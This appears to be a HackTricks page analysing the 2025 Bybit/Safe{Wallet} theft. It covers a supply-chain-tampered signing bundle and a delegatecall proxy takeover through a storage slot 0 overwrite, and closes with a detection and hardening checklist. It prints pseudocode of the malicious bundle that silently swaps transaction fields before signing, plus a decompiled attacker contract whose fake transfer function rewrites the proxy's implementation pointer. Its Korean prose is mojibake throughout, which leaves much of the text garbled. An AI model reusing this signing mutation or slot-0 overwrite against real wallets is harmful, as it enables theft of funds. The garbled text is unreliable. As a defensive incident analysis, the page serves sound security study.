Web3 ์๋ช ์ํฌํ๋ก ์นจํด & Safe delegatecall Proxy Takeover
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
์ฝ๋-์๋ ์ ๋ ์ฒด์ธ์ **Safe{Wallet} web UI์ ๊ณต๊ธ๋ง ์นจํด(supply-chain compromise)**์ **ํ๋ก์์ implementation ํฌ์ธํฐ(slot 0)๋ฅผ ๋ฎ์ด์ด on-chain delegatecall ์์ ๊ธฐ๋ฅ(delegatecall primitive)**์ ๊ฒฐํฉํ์ต๋๋ค. ์ฃผ์ ์์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- dApp์ด ์๋ช ๊ฒฝ๋ก์ ์ฝ๋๋ฅผ ์ฝ์ ํ ์ ์๋ค๋ฉด, ์๋ช ์๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ํํ ํ๋์ ๋ํด ์ ํจํ EIP-712 ์๋ช ์ ์์ฑํ๊ฒ ๋ง๋ค๋ฉด์ ์๋ UI ๋ฐ์ดํฐ๋ฅผ ๋ณต์ํด ๋ค๋ฅธ ์๋ช ์๋ค์ด ๋์น์ฑ์ง ๋ชปํ๊ฒ ํ ์ ์์ต๋๋ค.
- Safe proxies๋
masterCopy(implementation)๋ฅผ storage slot 0์ ์ ์ฅํฉ๋๋ค. slot 0์ ์ฐ๋ ๊ณ์ฝ์ผ๋ก์ delegatecall์ ์ฌ์ค์ Safe๋ฅผ ๊ณต๊ฒฉ์ ๋ก์ง์ผ๋ก โ์ ๊ทธ๋ ์ด๋โํ์ฌ ์ง๊ฐ์ ๋ํ ์์ ํ ์ ์ด๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Off-chain: Targeted signing mutation in Safe
๋ณ์กฐ๋ Safe ๋ฒ๋ค(_app-*.js)์ ํน์ Safe + signer ์ฃผ์๋ฅผ ์ ํ์ ์ผ๋ก ๊ณต๊ฒฉํ์ต๋๋ค. ์ฃผ์
๋ ๋ก์ง์ ์๋ช
ํธ์ถ ์ง์ ์ ์คํ๋์์ต๋๋ค:
// Pseudocode of the malicious flow
orig = structuredClone(tx.data);
if (isVictimSafe && isVictimSigner && tx.data.operation === 0) {
tx.data.to = attackerContract;
tx.data.data = "0xa9059cbb..."; // ERC-20 transfer selector
tx.data.operation = 1; // delegatecall
tx.data.value = 0;
tx.data.safeTxGas = 45746;
const sig = await sdk.signTransaction(tx, safeVersion);
sig.data = orig; // restore original before submission
tx.data = orig;
return sig;
}
๊ณต๊ฒฉ ํน์ฑ
- Context-gated: ํผํด์ Safes/์๋ช ์์ ๋ํด ํ๋์ฝ๋ฉ๋ allowlists๊ฐ ๋ ธ์ด์ฆ๋ฅผ ๋ฐฉ์งํ๊ณ ํ์ง ๊ฐ๋ฅ์ฑ์ ๋ฎ์ถค.
- Last-moment mutation: ํ๋(
to,data,operation, gas)๊ฐsignTransaction์ง์ ์ ๋ฎ์ด์จ์ง๊ณ ์ดํ ๋ณต์๋์๊ธฐ ๋๋ฌธ์ UI์ ํ์๋๋ proposal ํ์ด๋ก๋๋ ์ ์์ ์ผ๋ก ๋ณด์์ง๋ง ์๋ช ์ ๊ณต๊ฒฉ์ ํ์ด๋ก๋์ ์ผ์นํจ. - EIP-712 opacity: ์ง๊ฐ์ ๊ตฌ์กฐํ๋ ๋ฐ์ดํฐ๋ฅผ ํ์ํ์ง๋ง ์ค์ฒฉ๋ calldata๋ฅผ ๋์ฝ๋ํ๊ฑฐ๋
operation = delegatecall์ ๊ฐ์กฐํ์ง ์์ ๋ณ์กฐ๋ ๋ฉ์์ง๊ฐ ์ฌ์ค์ blind-signed๋จ.
๊ฒ์ดํธ์จ์ด ๊ฒ์ฆ ๊ด๋ จ์ฑ
Safe ์ ์์ Safe Client Gateway๋ก ์ ์ถ๋๋ค. ๊ฐํ๋ ๊ฒ์ฌ ์ด์ ์๋ UI๊ฐ ์๋ช
ํ ํ๋๋ฅผ ์ฌ์์ฑํ๋ฉด safeTxHash/์๋ช
์ด JSON ๋ณธ๋ฌธ๊ณผ ๋ค๋ฅธ ํ๋์ ๋์ํ๋ proposal์ ๊ฒ์ดํธ์จ์ด๊ฐ ์๋ฝํ ์ ์์๋ค. ์ฌ๊ณ ์ดํ์๋ ๊ฒ์ดํธ์จ์ด๊ฐ ์ ์ถ๋ ํธ๋์ญ์
๊ณผ ํด์/์๋ช
์ด ์ผ์นํ์ง ์๋ proposal์ ๊ฑฐ๋ถํ๋ค. ์ ์ฌํ ์๋ฒ ์ธก ํด์ ๊ฒ์ฆ์ ๋ชจ๋ signing-orchestration API์ ์ ์ฉ๋์ด์ผ ํ๋ค.
2025 Bybit/Safe ์ฌ๊ฑด ํ์ด๋ผ์ดํธ
- 2025๋
2์ 21์ผ Bybit ์ฝ๋์๋ ํ์ทจ(~401k ETH)๋ ๊ฐ์ ํจํด์ ์ฌ์ฌ์ฉํ๋ค: ์์๋ Safe S3 bundle์ Bybit ์๋ช
์์๊ฒ๋ง ํธ๋ฆฌ๊ฑฐ๋์๊ณ
operation=0โ1๋ก ๊ต์ฒดํ์ฌto๋ฅผ slot 0์ ์ฐ๋ ๋ฏธ๋ฆฌ ๋ฐฐํฌ๋ ๊ณต๊ฒฉ์ ๊ณ์ฝ์ผ๋ก ์ง์ ํ๋ค. - Wayback-cached
_app-52c9031bfa03da47.js๋ Bybit์ Safe (0x1db9โฆcf4) ๋ฐ ์๋ช ์ ์ฃผ์๋ฅผ ํค๋ก ์ฌ์ฉํ๋ ๋ก์ง์ ๋ณด์ฌ์ฃผ๊ณ , ์คํ ๋ ๋ถ ํ ์ฆ์ ๊นจ๋ํ ๋ฒ๋ค๋ก ๋กค๋ฐฑ๋์ด โmutate โ sign โ restoreโ ํธ๋ฆญ์ ๋ฐ์ํ๋ค. - ์
์ฑ ๊ณ์ฝ (e.g.,
0x9622โฆc7242)์ ๋จ์ํ ํจ์sweepETH/sweepERC20๊ณผ ํจ๊ป ๊ตฌํ ์ฌ๋กฏ์ ์ฐ๋transfer(address,uint256)๋ฅผ ํฌํจํ๋ค.execTransaction(..., operation=1, to=contract, data=transfer(newImpl,0))์ ์คํ์ ํ๋ก์ ๊ตฌํ์ ๋ณ๊ฒฝํ์ฌ ์์ ํ ์ ์ด๊ถ์ ๋ถ์ฌํ๋ค.
์จ์ฒด์ธ: ์ฌ๋กฏ ์ถฉ๋์ ํตํ delegatecall ํ๋ก์ ํ์ทจ
Safe ํ๋ก์๋ masterCopy๋ฅผ storage slot 0์ ๋ณด๊ดํ๊ณ ๋ชจ๋ ๋ก์ง์ ๊ทธ์ชฝ์ ์์ํ๋ค. Safe๊ฐ **operation = 1 (delegatecall)**์ ์ง์ํ๊ธฐ ๋๋ฌธ์, ์๋ช
๋ ์ด๋ค ํธ๋์ญ์
๋ ์์์ ๊ณ์ฝ์ ๊ฐ๋ฆฌ์ผ ํ๋ก์์ ์คํ ๋ฆฌ์ง ์ปจํ
์คํธ์์ ๊ทธ ์ฝ๋๊ฐ ์คํ๋๊ฒ ํ ์ ์๋ค.
๊ณต๊ฒฉ์ ๊ณ์ฝ์ ERC-20 transfer(address,uint256)๋ฅผ ํ๋ด๋ด์์ง๋ง ๋์ _to๋ฅผ slot 0์ ์ผ๋ค:
// Decompiler view (storage slot 0 write)
uint256 stor0; // slot 0
function transfer(address _to, uint256 _value) external {
stor0 = uint256(uint160(_to));
}
Execution path:
- ํผํด์๊ฐ
execTransaction์ ์๋ช โoperation = delegatecall,to = attackerContract,data = transfer(newImpl, 0). - Safe masterCopy๊ฐ ์ด ํ๋ผ๋ฏธํฐ๋ค์ ๋ํ ์๋ช ์ ๊ฒ์ฆํฉ๋๋ค.
- Proxy๊ฐ
attackerContract๋ก delegatecall์ ์ํ;transfer๋ณธ๋ฌธ์ด slot 0์ ๊ธฐ๋กํฉ๋๋ค. - Slot 0 (
masterCopy)๊ฐ ์ด์ ๊ณต๊ฒฉ์ ์ ์ด ๋ก์ง์ ๊ฐ๋ฆฌํด โ ์ง๊ฐ ์์ ํ์ทจ ๋ฐ ์๊ธ ์ ์ถ.
Guard & version notes (post-incident hardening)
- Safes >= v1.3.0๋
delegatecall์ ๊ฑฐ๋ถ(veto)ํ๊ฑฐ๋to/selectors์ ๋ํ ACL์ ๊ฐ์ ํ๋ Guard๋ฅผ ์ค์นํ ์ ์์ต๋๋ค; Bybit๋ v1.1.1์ ์ฌ์ฉํด Guard ํ ์ด ์์์ต๋๋ค. ์ด ์ ์ด ํ๋ ์ธ์ ํ๋ณดํ๋ ค๋ฉด ๊ณ์ฝ ์ ๊ทธ๋ ์ด๋(๋ฐ ์์ ์ ์ฌ๋ฑ๋ก)๊ฐ ํ์ํฉ๋๋ค.
Detection & hardening checklist
- UI integrity: JS ์์ฐ์ pinํ๊ณ SRI ์ ์ฉ; ๋ฒ๋ค ๋ณ๊ฒฝ์ฌํญ์ ๋ชจ๋ํฐ๋ง; ์๋ช UI๋ฅผ ์ ๋ขฐ ๊ฒฝ๊ณ์ ์ผ๋ถ๋ก ์ทจ๊ธํ์ธ์.
- Sign-time validation: EIP-712 clear-signing์ ์ง์ํ๋ ํ๋์จ์ด ์ง๊ฐ ์ฌ์ฉ;
operation์ ๋ช ์์ ์ผ๋ก ๋ ๋๋งํ๊ณ ์ค์ฒฉ๋ calldata๋ฅผ ๋์ฝ๋ํ์ธ์. ์ ์ฑ ์์ ํ์ฉํ์ง ์๋ ํoperation = 1์ผ ๋ ์๋ช ์ ๊ฑฐ๋ถํ์ธ์. - Server-side hash checks: ์ ์์๋ฅผ ์ค๊ณํ๋ ๊ฒ์ดํธ์จ์ด/์๋น์ค๋
safeTxHash๋ฅผ ์ฌ๊ณ์ฐํ๊ณ ์๋ช ์ด ์ ์ถ๋ ํ๋์ ์ผ์นํ๋์ง ๊ฒ์ฆํด์ผ ํฉ๋๋ค. - Policy/allowlists:
to, selectors, ์์ฐ ์ ํ์ ๋ํ ์ฌ์ ๊ฒ์ฌ ๊ท์น์ ์ ์ฉํ๊ณ ์ฌ์ฌ๋ ํ๋ก์ฐ๋ฅผ ์ ์ธํ๊ณ ๋ delegatecall์ ๊ธ์งํ์ธ์. ์์ ์๋ช ๋ ํธ๋์ญ์ ์ ๋ธ๋ก๋์บ์คํธํ๊ธฐ ์ ์ ๋ด๋ถ ์ ์ฑ ์๋น์ค๋ฅผ ์๊ตฌํ์ธ์. - Contract design: ํ์ํ์ง ์์ ํ multisig/treasury ์ง๊ฐ์์ ์์์ delegatecall์ ๋ ธ์ถํ์ง ๋ง์ธ์. ์ ๊ทธ๋ ์ด๋ ํฌ์ธํฐ๋ฅผ slot 0์์ ๋ฉ๋ฆฌ ๋๊ฑฐ๋ ๋ช ์์ ์ ๊ทธ๋ ์ด๋ ๋ก์ง๊ณผ ์ ๊ทผ ์ ์ด๋ก ๋ณดํธํ์ธ์.
- Monitoring: ์ฌ๋ฌด ์๊ธ์ ๋ณด์ ํ ์ง๊ฐ์์์ delegatecall ์คํ ๋ฐ ์ผ๋ฐ์ ์ธ
callํจํด์์operation์ ๋ณ๊ฒฝํ๋ ์ ์์ ๋ํด ๊ฒฝ๊ณ ๋ฅผ ์์ฑํ์ธ์.
References
- AnChain.AI forensic breakdown of the Bybit Safe exploit
- Zero Hour Technology analysis of the Safe bundle compromise
- In-depth technical analysis of the Bybit hack (NCC Group)
- EIP-712
- safe-client-gateway (GitHub)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


